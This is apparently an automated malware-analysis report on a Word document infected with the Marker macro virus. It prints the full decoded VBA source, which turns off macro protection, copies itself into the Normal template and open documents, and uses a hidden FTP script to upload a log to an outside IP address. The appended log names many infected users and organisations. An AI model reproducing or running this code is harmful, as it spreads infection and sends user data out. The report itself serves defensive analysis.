Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 41bd2913fff5fc02…

MALICIOUS

Office (OLE)

49.5 KB Created: 2014-04-10 07:35:00 Authoring application: Microsoft Office Word First seen: 2015-10-02
MD5: d5a90f36014160fe956df890467bcbc0 SHA-1: e891d3501f8c60eea41df8a89f6ffda92bb40f90 SHA-256: 41bd2913fff5fc02cb35c4d380d6fc86ae879d0b3307f48db9d2d10d199b724a
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1027 Obfuscated Files or Information T1190 Exploit Public-Facing Application

The sample contains VBA macros that exhibit self-replication and tampering with macro protection settings, indicating malicious intent. The script attempts to write to a log file at 'c:\hsf*.sys' and a file named 'c:\netldx.vxd' containing connection details to '209.201.88.110', suggesting it's a downloader or part of a multi-stage attack. The presence of ClamAV detections further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-31
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9591 bytes
SHA-256: 61efe62de670becb9b51c2c7ac0ca1457d57ac54919edf0728c82bd0c0a63ec4
Detection
ClamAV: Doc.Trojan.Marker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

On Error Resume Next

Const Marker = "<- this is a marker!"

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)


'Switch the VirusProtection OFF
Options.VirusProtection = False


  If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
  
    If DocumentInfected = True Then
      LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    ElseIf NormalTemplateInfected = True Then
      LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    End If
    
    LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
    
    For i = 1 To 4
      LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
    Next i
    LogFile = "C:\hsf" & LogFile & ".sys"
    
    Open LogFile For Output As #1
    Print #1, LogData
    Close #1
    
    Open "c:\netldx.vxd" For Output As #1
    Print #1, "o 209.201.88.110"
    Print #1, "user anonymous"
    Print #1, "pass itsme@"
    Print #1, "cd incoming"
    Print #1, "ascii"
    Print #1, "put " & LogFile
    Print #1, "quit"
    Close #1
    
    Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
    
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
    
  End If


'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
   
   
  'Infect the NormalTemplate
  If DocumentInfected = True Then
  
    SaveNormalTemplate = NormalTemplate.Saved
  
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)

    
    'Write a log file of this NormalTemplate infection
    For i = 1 To Len(Application.UserAddress)
      If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
        If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
          UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
        End If
      Else
        UserAddress = UserAddress & Chr(13) & "' "
      End If
    Next i

    OurCode = OurCode & Chr(13) & _
              "' " & Format(Time, "hh:mm:ss AMPM - ") & _
                     Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
              "' " & Application.UserName & Chr(13) & _
              "' " & UserAddress & Chr(13)


    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    
    If SaveNormalTemplate = True Then NormalTemplate.Save
    
  End If


  'Infect the ActiveDocument
  If NormalTemplateInfected = True And _
     (Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
     ActiveDocument.Saved = False) Then
  
    SaveDocument = ActiveDocument.Saved
    
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)

    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    
    If SaveDocument = True Then ActiveDocument.Save
      
  End If
  
    
End If

End Sub

' Logfile -->

' 09:08:36  - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'



' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'



' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'



' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'



' 03:07:26 PM - Tuesday, 22 Dec 1998
' BCBSA
'



' 03:28:02 PM - Wednesday, 6 Jan 1999
' BCBSA
'



' 02:59:47 PM - Monday, 11 Jan 1999
' Marsha Veach
'



' 01:54:54 PM - Wednesday, 20 Jan 1999
' Connie Sandifer, CMP
'



' 09:33:06 PM - Monday, 25 Jan 1999
' Doug Rowan
'



' 08:21:12 AM - Wednesday, 27 Jan 1999
' IMSI
'



' 10:59:58 AM - Friday, 29 Jan 1999
' Raj
'



' 03:37:57 PM - Saturday, 30 Jan 1999
' hornd
'



' 01:26:48 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:57:29 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 06:35:44 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'



' 04:23:52 PM - Thursday, 4 Feb 1999
' Cooley Godward
'



' 04:27:39 PM - Saturday, 6 Feb 1999
' Cooley Godward
'



' 06:18:06 PM - Monday, 8 Feb 1999
' Cooley Godward
'



' 09:17:17 PM - Tuesday, 9 Feb 1999
' hclee
'



' 04:44:45 PM - Wednesday, 17 Feb 1999
' Dr. W. Hsiao
'                   Wendy Hsiao, Ph.D.



' 04:13:19 PM - Tuesday, 23 Feb 1999
' CCST
'



' 10:09:35 AM - Saturday, 20 Mar 1999
' cpwu
'



' 09:33:49 AM - Thursday, 6 May 1999
' 柳建华
'



' 12:39:25 PM - Tuesday, 20 May 1997
' ghc-bbc
'



' 01:21:36 PM - Friday, 7 May 1999
' 李晋闽
'



' 05:51:53  - Wednesday, 12 May 1999
' qdzhuang
'



' 03:23:04 PM - Saturday, 19 Jun 1999
' 李晋闽
'



' 02:53:46 下午 - Tuesday, 6 Sep 2011
' 李晋闽
'



' 09:37:47 上午 - Monday, 19 Sep 2011
' 张士力
'



' 01:41:54 下午 - Monday, 26 Sep 2011
' unknown
'



' 10:50:02 上午 - Wednesday, 19 Oct 2011
' 祝昊泉
'



' 08:27:05 上午 - Wednesday, 26 Oct 2011
' 迟文倩
'



' 10:37:36 上午 - Monday, 31 Oct 2011
' 蒋运枫
'



' 04:21:38 下午 - Monday, 31 Oct 2011
' 李彩梅
'



' 08:15:53 上午 - Wednesday, 2 Nov 2011
' 张会芳
'



' 03:51:55 下午 - Friday, 4 Nov 2011
' 刘冬红
'



' 11:58:54 上午 - Friday, 11 Nov 2011
' 陈平平
'



' 05:13:35 下午 - Friday, 11 Nov 2011
' 尚纳新
'



' 03:14:00 下午 - Monday, 14 Nov 2011
' 闵天龙
'



' 06:26:57 下午 - Thursday, 15 Dec 2011
' 何满
'



' 06:01:01 下午 - Monday, 26 Dec 2011
' 何满
'



' 02:45:57 下午 - Thursday, 29 Dec 2011
' 何满
'



' 09:36:45 上午 - Friday, 30 Dec 2011
' 王燕飞
'



' 11:40:46 上午 - Friday, 6 Jan 2012
' 12345
'



' 04:24:59 下午 - Friday, 17 Feb 2012
' 微软用户
'



' 11:28:11 上午 - Wednesday, 22 Feb 2012
' yxx
'



' 01:15:33 下午 - Thursday, 1 Mar 2012
' wang
'



' 11:14:11 上午 - Wednesday, 14 Mar 2012
' 张宇（通号处）
'



' 12:36:16 下午 - Thursday, 22 Mar 2012
' 张孟彬
'



' 05:08:55 下午 - Wednesday, 28 Mar 2012
' 黄鹰
'



' 08:25:27 上午 - Tuesday, 10 Apr 2012
' 孙建明
'



' 05:04:49 下午 - Thursday, 12 Apr 2012
' 汪自成
'



' 02:27:24 下午 - Friday, 13 Apr 2012
' MC SYSTEM
'



' 01:36:46 下午 - Tuesday, 17 Apr 2012
' Lenovo User
'



' 10:44:02 上午 - Friday, 20 Apr 2012
' Lenovo User
'



' 09:43:44 上午 - Monday, 23 Apr 2012
' Lenovo User
'



' 03:02:47 下午 - Monday, 23 Apr 2012
' 马龙
'



' 09:25:58 上午 - Friday, 27 Apr 2012
' Lenovo User
'



' 10:04:54 上午 - Wednesday, 2 May 2012
' Lenovo User
'



' 04:27:42 下午 - Friday, 18 May 2012
' 未定义
'



' 08:52:00 上午 - Wednesday, 23 May 2012
' 未定义
'



' 09:11:27 上午 - Tuesday, 29 May 2012
' hxl
'



' 02:34:00 下午 - Tuesday, 5 Jun 2012
' 未定义
'



' 08:40:54 上午 - Wednesday, 6 Jun 2012
' 未定义
'



' 04:34:15 下午 - Monday, 18 Jun 2012
' 未定义
'



' 08:53:25 上午 - Monday, 16 Jul 2012
' cgb
'



' 05:23:17 下午 - Friday, 21 Sep 2012
' 未定义
'



' 06:27:57 下午 - Monday, 3 Dec 2012
' 雨林木风
'



' 11:30:41 上午 - Tuesday, 15 Jan 2013
' 兰州铁路局
'



' 07:48:16 上午 - Thursday, 17 Jan 2013
' 兰州铁路局
'



' 03:25:05 下午 - Friday, 18 Jan 2013
' 兰州铁路局
'



' 06:18:32 下午 - Monday, 21 Jan 2013
' 兰州铁路局
'



' 09:37:08 上午 - Wednesday, 23 Jan 2013
' 兰州铁路局
'



' 11:01:27 下午 - Thursday, 24 Jan 2013
' 兰州铁路局
'



' 02:20:35 下午 - Friday, 25 Jan 2013
' 兰州铁路局
'



' 02:36:55 下午 - Friday, 25 Jan 2013
' MC SYSTEM
'



' 09:05:25 上午 - Monday, 28 Jan 2013
' 兰州铁路局
'



' 04:20:36 下午 - Monday, 28 Jan 2013
' 兰州铁路局
'



' 03:37:02 下午 - Wednesday, 6 Feb 2013
' 魏巍
'



' 05:30:36 下午 - Monday, 22 Apr 2013
' 魏巍
'



' 03:47:18 下午 - Monday, 8 Jul 2013
' 兰州铁路局
'



' 11:57:24 上午 - Tuesday, 13 Aug 2013
' 兰州铁路局
'



' 03:06:45 下午 - Tuesday, 27 Aug 2013
' User
'



' 09:52:08 上午 - Monday, 20 Jan 2014
' 微软用户
'



' 10:46:08 上午 - Thursday, 13 Feb 2014
' 兰州铁路局
'



' 10:34:07 上午 - Thursday, 20 Mar 2014
' 兰州铁路局
'



' 03:48:34 下午 - Friday, 21 Mar 2014
' User
'



' 09:55:17 上午 - Friday, 11 Apr 2014
' 兰州铁路局
'

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